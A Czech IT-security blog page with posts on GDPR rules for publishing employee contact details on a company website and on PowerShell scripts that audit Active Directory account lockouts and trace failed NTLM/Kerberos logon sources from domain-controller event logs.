  • zaručené ochrany před viry, popup-blockery atd.

Další bohatou referenci debility najdete na technetu. Nebo si dáte nějaké technické fórum a podíváte se, co admini potřebují.

A tohle není jen problém počítačů. Nedávno se kdosi chlubil, že má na mobilu 250 aplikací.

Mobil má možná ochranu proti nevyžádanému přístupu ke kontaktům a mailu a obrázkům, ale nemá žádnou ochranu proti nenápadnému připojení k síti. To tam přece chcete! Stačí aby se objevil ve vnitřní WiFi a tradá.

No a jako jednu neveřejnou funkci takový prográmek bude mít očuchávání sítě. A samozřejmě odesílání na příslušná místa.

A teď si odpovězte na otázku - jsem já snad první, koho to napadlo?

Jediná ochrana proti tomu je striktní AppLocker a nepouštět podivné programy do vnitřní sítě. A pokud dojdete na www.hackerfest.cz, Roman Kummel vám to ukáže v JavaScriptu.

srpen 24
GDPR a kontakty zaměstnanců na webu společnosti

Dostal jsem pěkný dotaz ohledně GDPR pohledu, tak na něho odpovím rovnou větším článečkem. Nejprve však disclaimer:

Toto není autoritativní právníkův pohled. Nejsem právník. I kdybych byl, tak by to nebylo autoritativní. Jediný, kdo je zodpovědný za implementaci GDPR je nejvyšší vedení společnosti (executive management, pokud se chceme vyjadřovat standardně). Toto vedení by si mělo přizvat svého vlastního právníka, který mu dá doporučení, jak a co. A jen ten právník může být potom zodpovědný za kvalitu svého doporučení. Tento článek je o tom, co si máte uvědomit a na co se toho svého právníka máte zeptat.

Narozdíl od technických informací, právní porady nejsou a nemohou být nikdy objektivní a absolutní. Právníci poskytují právní názory, ne zaručená fakta. Vím co chce GDPR, vím kde mám jaké údaje a vím tedy na co se mám zeptat právníka. To je vše co jsem já schopen poskytnout.

Dotaz

"... kontakty veřejně vystavené na našem webu, jak se k tomu GDPR postaví ? standardně tam máme jméno zaměstnance telefon, mail, pobočku ..."

Velmi pěkné, jednoduché a přitom se to dá parádně hnidopišsky rozpitvat :-)

Rozbor

Jméno zaměstnance je jeho osobně identifikovatelný údaj (personally identifiable information, PII), pomocí kterého je možné ve velkém procentu případů jednoznačně identifikovat konkrétní fyzickou osobu, tedy subjekt údajů (data subject). Fotografie samozřejmě.

Telefon a email bych zde přesněji vyjádřil jako firemní telefonní číslo a firemní emailovou adresu, aby se to odlišilo od trvalejšího osobního telefonního čísla a emailové adresy, kterou ti lidé používají pro svoje soukromé potřeby. Firemní telefonní číslo člověka už nebude identifikovat, až mu bude odebráno (propuštění, změna zařazení apod.). Firemní emailová adresa ho naopak identifikovat bude možná i nadále, protože je obvykle složena například jako jméno.příjmení. Minimálně však po dobu, kdy tyto údaje zaměstnanec využívá, i tyto ho tedy identifikují.

Pozdější identifikovatelnost (po tom, co člověk už zde nepracuje) nás i tak zajímá. Je možné, že údaje z webu ostraníme, jakmile zaměstnance odejde (nebo přejde na jinou pozici). Ale existují webové archivy, ve kterých stránky budou i nadále přístupné a to klidně navždy.

Rizika pro zaměstnance?

Každé zveřejnění osobních údajů s sebou přináší možná rizika pro daný subjekt údajů (fyzickou osobu). Možná to tak v tomto případě nevypadá, ale dokážu si představit, že někomu nemusí být příjemné být veřejně spojován s firmou, ve které pracuje. Sousedé závidí dobrou pozici, nebo se posmívají pozici jiné, nespokojení zákazníci si vás mohou najít a mstít se, nebo pomlouvat apod.

Jako u všech případů ochrany osobních údajů bude i zde 99.999% v pohodě a bez problémů. Ale aby se vám pak někdy nestalo, že vás nějaký naštvaný nefachčenko práskne na úřadě pro ochranu osobních údajů (UOOU). Pokud by se mu navíc stala nějaká újma, bude to ještě horší. Dokážu si představit, že vám nespokojený soused třeba posprejuje dveře. Takové věci se dějí.

Zpracování

Tím, že tyto osobní údaje zveřejníme a takto šíříme, je tedy zpracováváme (processing). Jsme tedy zpracovatelem.

My nejsme jen zpracovatelem, jsme správcem údajů, protože osoba (subjekt údajů) jedná přímo s námi a svoje údaje poskytuje přímo nám a my si zde určujeme účely zpracování. Údaje zpracováváme buď na základě souhlasu (consent) získaného od subjektu údajů, nebo třeba na základě jiného zákonného důvodu (titulu), nebo kvůli plnění smlouvy, kterou máme se subjektem údajů.

Zákonný důvod by mohl být například odesílání požadovaných osobních údajů zaměstnanců na správu sociálního zabezpečení kvůli důchodovému pojištění. To se nás zde evidentně netýká. Zákon, že musíte na webu zveřejnit kontakty zaměstnanců nejspíš nemáme.

Příklad plnění smlouvy mezi subjektem údajů a správcem údajů je třeba předání kontaktních údajů pošťákovi, pokud si u vás na e-shopu subjekt údajů něco objednal. Samozřejmě by mohlo být přímo v pracovní smlouvě, že se údaje zveřejňují na webu z důvodů, které jsou k výkonu práce přímo potřeba. Nebo by stačilo, kdyby to prostě bylo obecně známo, že k výkonu daného povolání je potřeba údaje zveřejnit. To by potom bylo plnění pracovní smlouvy. Ale to není naše situace.

Takže první otázka na právníka zní - nešlo by vymyslet nějaký takový "automatický" důvod, proč bychom mohli tyto osobní údaje tímto způsobem zakonně zpracovávat? Jinak totiž budeme potřebovat souhlas se zpracováním osobních údajů.

Souhlas

Souhlas si samozřejmě můžete vyžádat vždycky, ale je to možná větší administrativní zátěž. Navíc je problém s tím, že souhlas možná dnes nemáme, nebo nebyl ještě získán GDPR kompatibilně a s nástupem GDPR si ho budeme muset vyžádat znovu, nebo lépe. V případě vlastních zaměstnanců to snad personalisti zvládnou v pohodě, stejně tráví většinu času lelkováním na fb :-)

Souhlas musí být svobodný, daný, jednoznačný, informovaný a specifický. Informovaný znamená, že zaměstnanec bude muset přesně vědět čeho se to týká a co to pro něho znamená. Specifický znamená, že nemůžete napsat něco jako "souhlasím se zpracováním údajů". Místo toho musí souhlasit se zveřejněním údajů na webu společnosti, a to kterých konkrétně.

Protože musí být souhlas svobodný, tak je možné, aby to zaměstnanec odmítl. Nemůžeme ho za odmítnutí souhlasu, a to ani za jeho pozdější odvolání, například vyhodit z práce. Nejspíš byste ho mohli propustit jenom v případě, že bez kontaktů na internetu se jeho práce prostě vykonávat nedá. Ale to vám už zase může říct jedině váš vlastní právník.

Takže pokud ho potřebujete, s právníkem si ujasněte znění souhlasu. Právník vám také nejspíš řekne, že souhlas nemůže být přímo součástí pracovní smlouvy. Nejspíš na to budete muset mít samostatné formuláře.

Technicky se ujistěte, že jste schopni opravdu osobní údaje nezobrazovat, pokud to děláte nějak automaticky na základě dat v informačním systému společnosti. Stejně tak je musíte být schopni odstranit, když subjekt údajů svůj souhlas odvolá.

Technicky je také nutné, aby se souhlas dal odvolat stejným způsobem, jako byl udělen. To znamená, pokud člověk souhlasil na papíru, který řešil s presonalistou, měl by být personalista zase schopen nechat souhlas zrušit. Jestli máte souhlasné formuláře na nějakém interním zaměstnaneckém portále, mělo by jít souhlas stejnou cestou odebrat. Ne že jim to budete komplikovat a chtít po nich, aby se kvůli odvolání souhlasu dostavili osobně na sekretariát v cizím městě.

Zpracování v neGDPR prostředí

Máme tu ještě jeden problém. Co když máte web společnosti hostovaný u nějakého poskytovatele, který nespadá pod GDPR. Typicky USA nebo Čína například. Takový hoster je potom zpracovatelem osobních údajů, zatímco vy jste pořád jejich správci. Jako správci jste zodpovědní za bezpečnost osobních údajů.

Problém je, že osobní údaje takovému zpracovateli jen tak dát nesmíte. Samozřejmě můžete, ale musíte na to mít ještě dvakrát jasnější, pětkrát specifičtější a osmkrát informovanější souhlas, než normálně. Takže pozor!

srpen 24
Přehled zamykání AD účtů pomocí PowerShellu

Potřebujete vědět, jaké se vám zamykají účty (account lockout) v Active Directory a kdy se to stalo? Pokud auditujete Account Management - User Account Management, tak se vám budou v protokolu událostí Security na řadičích domény (DC - domain controller) objevovat události EventId 4740.

Ideální je to sledovat na FSMO PDC. Je sice pravděpodobné, že klient se snaží ověřovat o jiné DC. Ale jak známo, pokud na některém DC selže ověření, toto DC zkusí ověřovací pokus samo přeposlat na PDC. Jestli by se to náhodou nepovedlo.

Přeposílat pokusy na PDC má smysl ze dvou důvodů. Možná se jedná jen o nové heslo, které si uživatel nedávno změnil. Nebo je to sice opravdu špatné heslo, ale kvůli tomu, že badPasswordCount atribut je nereplikovaný, je potřeba zajistit zamknutí účtu.

Takže velkou většinu nepovedných přihlášení procesuje PDC. Samozřejmě ne úplně všechny, protože přeposílka je jenom best-effort a pokud nějaké DC nemá zrovna konektivitu s PDC, tak se to nijak nehlásí ani neprojevuje. Ale ona ta konektivita dlouhodobě existuje, aspoň doufejte, jinak vám nebude fungovat zamykací politika (lockout policy).

A jak to z toho logu s miliony událostí dostanete? Pomocí wevtutil, XPath a PowerShellu:

# Note: although the standard XPath does not make difference between single-quotes and double-quotes
#       this particular incarnation requires use of single-quotes inside the XPath queries, so use double-quotes
#       in PowerShell to enclose the string literal.

# Note: removal of the stupid namespace xmlns='http://schemas.microsoft.com/win/2004/08/events/event' is the simplest
#       means to make the following SelectSingleNode() API to work easily.

$all = wevtutil qe Security "/q:*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (Task=13824) and (EventID=4740)]]" | % { $evt = [XML] $_.Replace(" xmlns='http://schemas.microsoft.com/win/2004/08/events/event'", ''); $evt } | select @{ n = 'Id' ; e = { $_.Event.System.EventId } }, @{ n = 'User' ; e = { $_.Event.EventData.SelectSingleNode('./Data[@Name="TargetUserName"]').'#text' } }, @{ n = 'When' ; e = { [DateTime]::Parse($_.Event.System.TimeCreated.SystemTime) } }

Tohle byl jednoduchý skript. Jenže my bychom ještě chtěli vědět, odkud se ty zámky dějí. Kdo odkud zkouší ta hesla.

K tomu potřebujete další události typu Account Logon. Události Account Logon jsou dvou druhů. Buď od ověření pomocí Kerberos, nebo NTLM. Kerberos generuje pod-kategorii Kerberos Authentication Service, zatímco NTLM generuje události se subcategory Credentials Validation.

Stačí tedy najít těch několik Account Logon událostí, které předcházely zamknutí účtu a z nich zjistit, co se dělo. Kerberos krásně loguje IP adresu, ze které k pokusu o ověření došlo. NTLM neloguje nic. NTLM sice loguje jméno počítače, ze kterého k pokusu došlo, tedy nikoliv IP adresu, ale tato hodnota je nesmyslná, protože není vůbec ověřovaná.

Pokud se tedy jedná o opravdový pokus nějakého normálního doménového počítače o ověření, tak tam bude jeho jméno v pořádku. Ale pokud to je útočný program, který testuje hesla přes NTLM, tak tam nebude buď nic, nebo nějaký nesmysl. I tak nám ale stojí za to vědět alespoň, jestli se jednalo o NTLM, nebo Kerberos.

Lepší přehled dostanete z lepšího skriptu. Je tam počet těch předchozích událostí během předchozích 6 minut. A je tam také seznam těch zdrojových IP adres (v  případě Kerberosu) nebo údajných jmen počítačů v případě NTLM.

Pokud budete mít smůlu a bude se jednat jen o NTLM ověření, bez informace o zdroji, tak to máte horší. Musíte si pak spustit třeba Wireshark, nebo Network Monitor a zkustit tam to TCP spojení najít.

# Note: User Account Management - Account Locked Out
# Note: before these, if this is the originating DC (on PDC if the authentication attempt is only forwarded, the PDC does not log the previous Account Logon failures)
#       there would be either:
#           Account Logon - Credential Validation (Task 14336) - 4776 - TargetUserName, Workstation, Status = 0xC000006A
#           Account Logon - Kerberos Authentication Service (Task 14339) - 4771 - TargetUserName, IpAddress, Status = 0x18
$authFailuresPastMinutes = 6

[object[]] $allLocks = wevtutil qe Security "/query:*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (Task=13824) and (EventID=4740)]]" | % { $evt = [XML] $_.Replace(" xmlns='http://schemas.microsoft.com/win/2004/08/events/event'", ''); $evt } | select @{ n = 'Id' ; e = { $_.Event.System.EventId } }, @{ n = 'What' ; e = { 'Lockout' } }, @{ n = 'User' ; e = { $_.Event.EventData.SelectSingleNode('./Data[@Name="TargetUserName"]').'#text' } }, @{ n = 'When' ; e = { [DateTime]::Parse($_.Event.System.TimeCreated.SystemTime) } } | sort -Desc When

[Collections.ArrayList] $authFailures = @()
foreach ($oneLock in $allLocks) {

    $dateTimeSortableEventUTC = 'yyyy-MM-ddTHH:mm:ss.fffffff00Z'
    $failureFilter = "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and ((Task=14336 and EventID=4776) or (Task=14339 and EventID=4771)) and TimeCreated[@SystemTime<='{1}' and @SystemTime>='{2}']] and EventData/Data[@Name='TargetUserName']='{0}' and (EventData/Data[@Name='Status']='0xC000006A' or EventData/Data[@Name='Status']='0x18')]" -f $oneLock.User, $oneLock.When.ToUniversalTime().ToString($dateTimeSortableEventUTC), $oneLock.When.AddMinutes(-$authFailuresPastMinutes).ToUniversalTime().ToString($dateTimeSortableEventUTC)

    [object[]] $oneLockAuthFailures = wevtutil qe Security /query:$failureFilter | % { $evt = [XML] $_.Replace(" xmlns='http://schemas.microsoft.com/win/2004/08/events/event'", ''); $evt } | select @{ n = 'Id' ; e = { $_.Event.System.EventId } }, @{ n = 'What' ; e = { 'AuthFailure' } }, @{ n = 'User' ; e = { $_.Event.EventData.SelectSingleNode('./Data[@Name="TargetUserName"]').'#text' } }, @{ n = 'When' ; e = { [DateTime]::Parse($_.Event.System.TimeCreated.SystemTime) } }, @{ n = 'From' ; e = { if ($_.Event.System.EventID -eq 4776) { $_.Event.EventData.SelectSingleNode('./Data[@Name="Workstation"]').'#text' } else { $_.Event.EventData.SelectSingleNode('./Data[@Name="IpAddress"]').'#text' } } }
    [void] $authFailures.AddRange($oneLockAuthFailures)

    $countNTLM = 0
    $countKerberos = 0
    [Collections.ArrayList] $sources = @()

    foreach ($oneAuthFailure in $oneLockAuthFailures) {

      if ($oneAuthFailure.Id -eq 4776) {
 
        $countNTLM ++

      } else {

        $countKerberos ++
      }

      [string] $source = $oneAuthFailure.From
      if ([string]::IsNullOrEmpty($source)) {

        $source = '-'
      }

      if ($source.StartsWith('::ffff:')) {

        $source = $source.Substring(7)
      }

      if ($sources -notcontains $source) {

        [void] $sources.Add($source)
      }
    }

    Add-Member -Input $oneLock -MemberType NoteProperty -Name NtlmFailures -Value $countNTLM
    Add-Member -Input $oneLock -MemberType NoteProperty -Name KerberosFailures -Value $countKerberos
    Add-Member -Input $oneLock -MemberType NoteProperty -Name From -Value ($sources -join ',')

    $oneLock | ft -Auto
}

# $allLocks     # contains all the locking statistics
# $authFailures # contains all the authentication failure events that occured several minutes before the relevant account lockout

Pro úplnost bych ještě doplnil informaci, že na PDC se nelogují události Account Logon, pokud se jedná o tu přeposílku z jiného DC. Je tedy možné, že počet předchozích neúspěšných pokusů na heslo může být i nulový.

1 - 14Next
>
 

 Rychlovky lepší než tvítr

 
Velikonove 9.4.2017 4:57
V Nemecku zacaly velikonocni prazdniny a proto je ve smeru do Srbska patnackilometrova fronta aut s nemeckou znackou. Evidentne vsichni jedou slavit velikonoce do turecka?
 
ČD se rozhodly že naserou všechny stávající zákazníky 2.3.2017 6:14
ČD se rozhodly že pořádně naserou všechny stávající zákazníky a zrušily inkarty z eschop profilů. Zajděte si pro heslo na přepážku!
 
GoDaddy vydal 8951 certifikátů bez správného ověření - Root.cz 12.1.2017 14:40
https://www.root.cz/clanky/godaddy-vydal-8951-certifikatu-bez-spravneho-overeni
 
start ssl už zase vydává! 1.12.2016 12:50
jupíí, StartSSL už zase vydává!
 
nejede google 22.11.2016 21:16
jak najít teď rychle jinej DNS server když nejede google? brýle se bez brýlí špatně hledají :-)
 
(More Announcements...)